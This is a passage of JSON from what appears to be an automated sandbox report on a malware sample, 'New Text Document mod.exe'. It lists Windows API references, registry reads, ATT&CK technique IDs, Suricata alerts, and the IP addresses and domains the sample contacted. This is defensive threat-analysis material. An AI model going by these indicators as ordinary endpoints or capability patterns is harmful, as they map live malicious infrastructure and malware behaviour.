mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetVolumePathNamesForVolumeNameA\" (Indicator: \"GetVolumePathNamesForVolumeName\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"OpenProcessToken@ADVAPI32.DLL at 00000000-00001088-23227-111-00D52158\n OpenProcess@KERNEL32.DLL at 00000000-00000968-33623-59-004234D0\n OpenProcess@KERNEL32.DLL at 00000000-00000968-33623-71-00423650\n OpenProcessToken@ADVAPI32.DLL at 00000000-00000968-33623-249-0042307C\n OpenProcessToken@ADVAPI32.DLL at 00000000-00000968-33623-385-00420704","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, edi\" and \"je 00E4E2C5h\" at 00000000-00001088-23227-1134-00E4E0CC\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp dword ptr [ebp-00000120h], 06h\" and \"jc 00D9D05Ch\" at 00000000-00001088-23227-7182-00D9CFB5\n Found API call GetVersionExA@KERNEL32.DLL directly followed by \"cmp edx, 02h\" and \"jne 00405E3Eh\" at 00000000-00000968-33623-829-00405E08\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp eax, 80000000h\" and \"je 004045BDh\" at 00000000-00000968-33623-923-00404514","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: LUA5.3.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$44","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"NewTextDocumentmod.exe\" queries volume information of \"C:\\NewTextDocumentmod.exe\" at 00000000-00002000-00000C17-3200738023\n \"irsetup.exe\" queries volume information of \"C:\\\" at 00000000-00005524-00000C17-3248971438\n \"irsetup.exe\" queries volume information of \"C:\\\" at 00000000-00005524-00000C17-3248992699\n \"irsetup.exe\" queries volume information of \"C:\\\" at 00000000-00005524-00000C17-3249779276","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"irsetup.exe\" queries volume information of \"C:\\\" at 00000000-00005524-00000C17-3248971438\n \"irsetup.exe\" queries volume information of \"C:\\\" at 00000000-00005524-00000C17-3248992699\n \"irsetup.exe\" queries volume information of \"C:\\\" at 00000000-00005524-00000C17-3249779276","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"NewTextDocumentmod.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"TLauncher-Installer-1.9.4.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"irsetup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"elf.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"sys.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"sup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"random.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"NewTextDocumentmod.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"irsetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$45","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"NewTextDocumentmod.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")\n \"TLauncher-Installer-1.9.4.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"ET INFO Packed Executable Download\" (SID: 2014819, Rev: 5, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":".rdata section contains high entropy","description":"\"rabert.exe\" has section name .rdata with entropy \"6.44889298455208\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-187","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyTransactedW\" in file \"00000000-00001088.00000000.271453.00D51000.00000020.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in file \"New Text Document mod.exe\"\n Found registry modification API: \"RegCreateKeyExA\" in file \"New Text Document mod.exe\"\n Found registry modification API: \"RegCreateKeyW\" in file \"New Text Document mod.exe\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\"\n Found registry modification API: \"RegCreateKeyTransactedW\" in \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; File: \"New Text Document mod.exe\")\n Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; File: \"New Text Document mod.exe\")\n Found reference to API \"EnumDeviceDrivers\" (Indicator: \"EnumDeviceDrivers\"; File: \"00000000-00000968.00000000.272733.00401000.00000020.mdmp\")\n Found reference to API \"EnumDeviceDrivers\" (Indicator: \"EnumDeviceDrivers\"; Source: \"00000000-00000968.00000000.272733.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Able to execute application (.NET)","description":"Observed function \"System.Diagnostics.ProcessStartInfo.UseShellExecute\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":3,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"file/memory contains long string(File: \"x.exe\")\n file/memory contains long string(File: \"xeno.exe\")\n file/memory contains long string(File: \"xtest.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"New Text Document mod.exe\")\n Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; Source: \"00000000-00005524-00000C2B-3240124144\")\n Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; Source: \"00000000-00005524-00000C2B-3240124438\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"meitu.exe\")\n file/memory contains long string(File: \"Uninstall.exe\")\n file/memory contains long string(File: \"windows.exe\")\n file/memory contains long string(File: \"window.exe\")\n file/memory contains long string(File: \"_setup64.tmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Able to use GrayString API for text rendering","description":"Found reference to API \"GrayStringW\" (Indicator: \"GrayStringW\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GrayStringW\" (Indicator: \"GrayStringW\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-900","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$46","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$47","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"NewTextDocumentmod.exe\" called \"CreateDirectoryW\" with parameter C:\\a (UID: 00000000-00002000)\n \"cooking.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00005036)\n \"TLauncher-Installer-1.9.4.exe\" called \"CreateDirectoryW\" with parameter %TEMP%\\_ir_sf_temp_0 (UID: 00000000-00001088)\n \"random.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\$inst (UID: 00000000-00000968)\n \"random.exe\" called \"CreateDirectoryA\" with parameter %PROGRAMFILES%\\(x86)\\Company (UID: 00000000-00000968)\n \"random.exe\" called \"CreateDirectoryA\" with parameter %PROGRAMFILES%\\(x86)\\Company\\NewProduct (UID: 00000000-00000968)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$48","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$49","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"file/memory contains long string with (Indicator: \"GetExecutingAssembly\"; File: \"xeno.exe\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"urlhaus.abuse.ch\"\n \"uploadsfre.com\"\n \"dl2.tlauncher.org\"\n \"telegram.me\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"151.101.194.49:443\"\n \"178.16.54.200:80\"\n \"221.14.182.99:54002\"\n \"199.188.205.20:443\"\n \"188.127.225.100:443\"\n \"176.122.27.90:80\"\n \"176.122.27.90:9909\"\n \"196.251.115.22:80\"\n \"176.122.27.90:8888\"\n \"104.20.7.182:80\"\n \"194.180.49.148:8900\"\n \"104.20.7.182:443\"\n \"139.199.157.76:8000\"\n \"185.208.159.182:80\"\n \"67.222.44.169:8000\"\n \"176.46.158.64:80\"\n \"185.208.159.182:4782\"\n \"62.60.226.16:5553\"\n \"172.245.27.131:80\"\n \"213.142.159.116:80\"\n \"94.154.172.199:443\"\n \"178.16.55.189:80\"\n \"149.154.167.99:443\"\n \"172.245.27.131:6000\"\n \"213.142.159.116:1604\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; File: \"New Text Document mod.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"New Text Document mod.exe\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"New Text Document mod.exe\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00002000.00000001.271022.00F42000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"$4c","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"New Text Document mod.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to download files with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"New Text Document mod.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadFile\" in \"New Text Document mod.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadFile\" in \"server.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"add_DownloadDataCompleted\" in \"server.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadDataAsync\" in \"server.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"remove_DownloadDataCompleted\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"$4d","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00001088-23227-31-00E522CE\n LoadLibraryW@KERNEL32.DLL at 00000000-00001088-23227-112-00D519A3\n LoadLibraryW@KERNEL32.DLL at 00000000-00001088-23227-566-00D59E8B\n LoadLibraryW@KERNEL32.DLL at 00000000-00001088-23227-646-00D591A8\n LoadLibraryW@KERNEL32.DLL at 00000000-00001088-23227-5972-00E33696\n LoadLibraryA@KERNEL32.DLL at 00000000-00000968-33623-73-0040EBD0\n LoadLibraryA@KERNEL32.DLL at 00000000-00000968-33623-393-0041EC04\n LoadLibraryA@KERNEL32.DLL at 00000000-00000968-33623-493-0040D514\n LoadLibraryA@KERNEL32.DLL at 00000000-00000968-33623-495-004078B8\n LoadLibraryA@KERNEL32.DLL at 00000000-00000968-33623-970-004076BC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; File: \"syschnu.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"New Text Document mod.exe\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.File\" and MemberReference \"SetAttributes\" in \"server.exe\"\n Observed Namespace \"System.IO.FileSystemInfo\" and MemberReference \"get_Attributes\" in \"server.exe\"\n Observed Namespace \"System.IO.FileSystemInfo\" and MemberReference \"set_Attributes\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"New Text Document mod.exe\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002000.00000001.271022.00F42000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: 